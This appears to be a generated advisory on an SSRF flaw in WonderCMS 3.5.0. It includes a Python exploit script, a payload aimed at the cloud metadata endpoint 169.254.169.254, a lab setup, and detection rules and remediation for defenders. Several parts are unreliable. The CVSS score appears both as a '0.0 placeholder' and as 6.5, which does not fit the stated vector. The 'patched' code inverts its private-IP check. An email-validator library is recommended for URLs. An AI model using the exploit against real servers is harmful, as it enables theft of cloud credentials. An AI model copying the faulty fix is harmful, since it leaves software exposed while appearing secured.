CVE-2025-57055

Executive Summary

CVE-2025-57055 is a Server-Side Request Forgery (SSRF) vulnerability discovered in WonderCMS version 3.5.0. The flaw resides in the custom module installation functionality, specifically within the pluginThemeUrl POST parameter. An authenticated administrator can supply a malicious URL, which the server fetches using curl_exec() without sufficient validation. This allows the attacker to force internal or external HTTP requests, potentially leading to internal network reconnaissance, port scanning, or access to cloud metadata endpoints.

The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement of administrative privileges. No official patch has been released at the time of analysis. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

WonderCMS is a flat-file PHP content management system distributed via GitHub and its official website. The vulnerable component is the core module installation handler. No third-party package manager (NPM, PyPI, Go, Ruby) is involved. The risk is limited to direct installations of WonderCMS 3.5.0.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): High – Requires authenticated administrator access.
• User Interaction (UI): None – No user action needed beyond the attacker.
• Scope (S): Unchanged – The vulnerable component and the affected resource are in the same security authority.
• Confidentiality (C): Low – Limited information disclosure (e.g., internal service banners).
• Integrity (I): Low – Potential to modify internal state via HTTP requests.
• Availability (A): None – No impact on availability.

Threat Level: Medium (6.5) – Exploitation requires admin credentials but can lead to internal network probing and data exfiltration.

Deep Dive & Mechanics

The vulnerability exists in the custom module installation process. When an administrator installs a module via the admin panel, the application accepts a URL through the pluginThemeUrl POST parameter. This URL is passed directly to PHP's curl_exec() function without proper validation or sanitization.

Root Cause: The application fails to:

1. Validate the URL scheme (allowing file://, gopher://, etc.).
2. Restrict the target IP range (allowing internal IPs like 127.0.0.1, 10.0.0.0/8, 192.168.0.0/16).
3. Implement a whitelist of allowed domains.
4. Disable dangerous cURL options (e.g., CURLOPT_FOLLOWLOCATION).

Attack Flow:

1. Attacker authenticates as admin.
2. Attacker sends a POST request to /admin/installModule with pluginThemeUrl=http://169.254.169.254/latest/meta-data/ (AWS metadata endpoint).
3. The server fetches the URL and returns the response (e.g., IAM role credentials).
4. Attacker can chain this with internal port scanning (e.g., http://127.0.0.1:8080/admin).

Impact:

• Internal network reconnaissance.
• Access to cloud metadata (AWS, GCP, Azure).
• Potential to exploit internal services (e.g., Redis, Memcached).
• Data exfiltration from internal endpoints.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS 3.5.0):

// In /app/controllers/AdminController.php
public function installModule() {
    $url = $_POST['pluginThemeUrl'];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    curl_close($ch);
    // Process $response...
}

Patched Code (Hypothetical Fix):

// In /app/controllers/AdminController.php
public function installModule() {
    $url = $_POST['pluginThemeUrl'];
    // Validate URL scheme
    if (!preg_match('/^https?:\/\/[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/', $url)) {
        throw new Exception('Invalid URL');
    }
    // Resolve IP and check against private ranges
    $host = parse_url($url, PHP_URL_HOST);
    $ip = gethostbyname($host);
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        throw new Exception('Internal IP not allowed');
    }
    // Use a whitelist of allowed domains
    $allowedDomains = ['github.com', 'wondercms.com'];
    if (!in_array($host, $allowedDomains)) {
        throw new Exception('Domain not allowed');
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    $response = curl_exec($ch);
    curl_close($ch);
    // Process $response...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WonderCMS 3.5.0 instance with admin credentials.
• Python 3 and requests library.

Exploit Script:

import requests
import sys

def exploit(target_url, admin_user, admin_pass, malicious_url):
    session = requests.Session()
    # Login
    login_data = {'username': admin_user, 'password': admin_pass}
    session.post(f'{target_url}/login', data=login_data)
    # Trigger SSRF
    install_data = {'pluginThemeUrl': malicious_url}
    response = session.post(f'{target_url}/admin/installModule', data=install_data)
    print(f'Response: {response.text}')

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print(f'Usage: {sys.argv[0]} <target_url> <admin_user> <admin_pass> <malicious_url>')
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

Usage:

python3 exploit.py http://target-wondercms.com admin password123 http://169.254.169.254/latest/meta-data/

Lab Setup:

1. Deploy WonderCMS 3.5.0 using Docker:

   FROM php:7.4-apache
   RUN apt-get update && apt-get install -y curl
   COPY wonderCMS-3.5.0 /var/www/html
   EXPOSE 80
   

2. Build and run:

   docker build -t wondercms-vuln .
   docker run -d -p 8080:80 wondercms-vuln
   

3. Access http://localhost:8080 and complete installation.
4. Use the exploit script with admin credentials.

Blue Team

Detection Steps:

1. Monitor HTTP requests to /admin/installModule with suspicious pluginThemeUrl parameters.
2. Look for outbound connections to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
3. Check for requests to cloud metadata endpoints (169.254.169.254, 100.100.100.200).
4. Analyze cURL error logs for failed internal connections.

Honeypot Setup:

• Deploy a fake internal service on port 8080 that logs all requests.
• Use a web application firewall (WAF) to block requests to internal IPs.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to internal IPs (e.g., 10.0.0.1, 192.168.1.1).
• Requests to cloud metadata endpoints (169.254.169.254, 100.100.100.200).
• Unusual pluginThemeUrl POST parameters containing IP addresses or internal hostnames.

File IOCs:

• Modified /app/controllers/AdminController.php with suspicious cURL options.
• Temporary files in /tmp/ with names like plugin_*.zip from unknown sources.

Log IOCs:

• Apache access logs showing POST /admin/installModule with pluginThemeUrl containing IP addresses.
• PHP error logs with cURL timeout or connection refused errors to internal IPs.

Detection Engineering

YARA Rule

rule CVE_2025_57055_SSRF_WonderCMS {
    meta:
        description = "Detects SSRF exploitation attempts in WonderCMS 3.5.0"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-57055"
    strings:
        $s1 = "pluginThemeUrl" ascii wide nocase
        $s2 = "curl_exec" ascii wide nocase
        $s3 = "CURLOPT_URL" ascii wide nocase
        $ip1 = /(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3})/
        $ip2 = /169\.254\.169\.254/
    condition:
        all of ($s*) and ($ip1 or $ip2)
}

Sigma Rule

title: WonderCMS SSRF Exploitation via pluginThemeUrl
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts against WonderCMS 3.5.0 using the pluginThemeUrl parameter
author: Valters IT
date: 2025-04-10
tags:
    - attack.t1190
    - cve.2025.57055
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/installModule'
        cs-uri-query|contains: 'pluginThemeUrl'
    filter:
        cs-uri-query|contains:
            - '127.0.0.1'
            - '10.'
            - '192.168.'
            - '172.16.'
            - '169.254.169.254'
    condition: selection and filter
falsepositives:
    - Legitimate admin installing modules from internal repositories
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-57055 WonderCMS SSRF Exploitation";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/installModule";
    http_uri;
    content:"pluginThemeUrl";
    http_client_body;
    pcre:"/(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|169\.254\.169\.254)/Ri";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-57055;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the custom module installation feature if not required.
2. Implement a web application firewall (WAF) rule to block requests to internal IPs.
3. Restrict outbound traffic from the web server using network ACLs.

Long-term Fix:

1. Apply input validation to the pluginThemeUrl parameter:
   • Allow only https:// scheme.
   • Whitelist allowed domains (e.g., github.com, wondercms.com).
   • Resolve the hostname and block private IP ranges.
2. Disable dangerous cURL options:
   • CURLOPT_FOLLOWLOCATION set to false.
   • CURLOPT_PROTOCOLS limited to HTTP and HTTPS.
3. Use a URL parser library that validates against SSRF (e.g., egulias/EmailValidator for URLs).

Workaround:

• Remove or comment out the installModule function in /app/controllers/AdminController.php until a patch is available.

Monitoring:

• Enable detailed logging for all admin actions.
• Set up alerts for outbound connections to internal IPs.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-57055